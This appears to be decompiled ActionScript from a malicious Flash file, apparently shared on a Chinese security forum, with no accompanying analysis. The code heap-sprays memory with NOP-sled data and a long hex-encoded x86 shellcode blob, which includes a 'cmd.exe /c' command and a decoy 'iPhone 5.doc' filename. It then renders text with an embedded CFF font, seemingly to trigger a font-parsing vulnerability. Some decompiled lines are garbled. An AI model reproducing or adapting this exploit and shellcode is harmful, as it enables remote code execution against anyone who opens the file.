package [Global]
{
public class Main extends flash.display::Sprite
{
//========================= Variables
private var FontClass : Class;
public var kbArray : ByteArray;
public var mbArray : ByteArray;
public var tmpArray : ByteArray;
public var allocs : Array;
//========================= Methods
public static function Main()
{
return;
}
public function Main()
{
this.FontClass = Main_FontClass;
super();
this.heapSpray();
this.TextBlock_createTextLineExample();
return;
}
public function TextBlock_createTextLineExample()
{
var loc0:* = "Edit the world in hex.";
var loc1:* = new FontDescription("PSpop");
loc1.fontLookup = FontLookup.EMBEDDED_CFF;
var loc2:* = new ElementFormat(loc1);
loc2.fontSize = 16;
var loc3:* = new TextElement(loc0, loc2);
var loc4:* = new TextBlock();
new TextBlock().content = new TextElement(loc0, loc2);
this.createLines(loc4);
return;
}
private function createLines(arg0:flash.text.engine::TextBlock)
{
var loc0:* = 300;
var loc1:* = 15;
var loc2:* = 20;
var loc3:* = arg0.createTextLine(null, loc0);
while(loc3)
{
loc3.x = 15;
loc3.y = 20;
loc2 = loc2 + loc3.height + 2;
addChild(loc3);
loc3 = arg0.createTextLine(loc3, loc0);
}
return;
}
public function heapSpray()
{
var loc0:* = 0;
loc0 = 0;
this.kbArray = new ByteArray();
this.kbArray.endian = Endian.LITTLE_ENDIAN;
var loc1:* = "0c0c0c0c0c0c0c0c0c0c0c0c0c0c909090";
var loc2:* = loc1 + "9090909090E947010000C28F36D8A0DF16D5B5F0DE78D00589E91B28BF56BEF71ED697165FFAA1665256D0541988A5D913E98E3A172B9BB28253A2E362577E574F52444C2E746D70006950686f6e6520352e646f63000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000636D642E657865202F63204B4B5050636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363000000000000000000000000000000000060010000540000c00c0100008E0400D0CF11E000000000000000000000000000000000E8000000005D81ED4C010000E8410200008BD08BF58BFE8BCE83C134E81C02000068000400006A40FF5514898533010000506804010000FF55108B85330100008BD843803B0075FA4B4B7408803B5C75F866C7035C0050FF55248B85330100008D5D34803800740340EBF88A138810803B0074044043EBF333C9898D130100008385130100000433C951FFB513010000FF55083B852F01000075E5556A0068800000006A026A006A0168000000408D45345083450405EB0A8BF58BFF558BECFF6604E8F1FFFFFF5D83F8FF0F842B0100008985170100006A006A00FFB52B010000FFB513010000FF55208B8523010000E8CC010000556A008B85330100005083452C05EB0A8BF58BFF558BECFF662CE8F1FFFFFF5D556A0068800000006A026A006A0168000000408D453F50EB0A8BF58BFF558BECFF6604E8F1FFFFFF5D83F8FF0F84B500000089851B010000FFB5270100006A40FF551489853701000033C003852B0100000385230100006A006A0050FFB513010000FF552033C9518D853B01000050FFB527010000FFB537010000FFB513010000FF551C8B8D3B0100008BB5370100008BFEB3CAAC32C33428AAFEC3E2F66A008D853F01000050FFB5270100008B953701000052FFB51B010000FF5530FFB51B010000FF5500E824000000556A008D85A400000050EB0A8BF58BFF558BECFF662CE8F1FFFFFF5D6A006AFFFF5528906033D2B8AE1040002D0A10400003C5BB4910400081EB0A10400003DD83C00BC60022408A13C60022C640010080FA00740688104043EBEC61C3AD5052E82E000000890783C40883C7043BF175ECC356515733C9648B71308B760C8B761C8B46088B7E208B3666394F1875F25F595EC3608B6C24248B453C8B54287803D58B4A188B5A2003DDE334498B348B03F533FF33C0FCAC84C07407C1CF0B03F8EBF43B7C242875E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C58944241C61C3506A40FF551489851F0100006A008D853B01000050FFB523010000FFB51F010000FFB513010000FF551C33C98B8D230100008BBD1F0100008BF7B3ACAC32C33428AAFEC3E2F66A008D853F01000050FFB5230100008B951F01000052FFB517010000FF5530FFB517010000FF5500C3909090";
var loc3:* = loc2;
var loc4:* = this.hexToBin(loc3);
var loc5:* = loc3.length / 2;
loc0 = 0;
while(loc0 < 1024)
{
writeByte(12);
loc0 = loc0 + 1;
}
loc0 = 0;
this.mbArray = new ByteArray();
this.mbArray.endian = Endian.LITTLE_ENDIAN;
while(loc0 < 1024)
{
writeBytes(this.kbArray, 0, this.kbArray.length);
loc0 = loc0 + 1;
}
loc0 = 0;
while(loc0 < -1048576)
{
this.mbArray.position = 0;
writeBytes(loc4, 0, loc4.length);
loc0 = loc0 + 65536;
}
loc0 = 0;
this.allocs = new Array();
while(loc0 < 512)
{
this.tmpArray = new ByteArray();
this.tmpArray.endian = Endian.LITTLE_ENDIAN;
writeBytes(this.mbArray, 0, this.mbArray.length);
push(this.tmpArray);
loc0 = loc0 + 1;
}
return;
}
private function hexToBin(arg0:String) : flash.utils::ByteArray
{
var loc3:* = null;
var loc0:* = new ByteArray();
var loc1:* = arg0.length;
var loc2:* = 0;
loc0.endian = Endian.LITTLE_ENDIAN;
while(loc2 < loc1)
{
loc3 = arg0.charAt(loc2) + arg0.charAt(loc2 + 1);
loc0.writeByte(parseInt(loc3, 16));
loc2 = loc2 + 2;
}
return loc0;
}
}
public class Main_FontClass extends mx.core::FontAsset
{
//========================= Methods
public static function Main_FontClass()
{
return;
}
public function Main_FontClass()
{
super();
return;
}
}
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!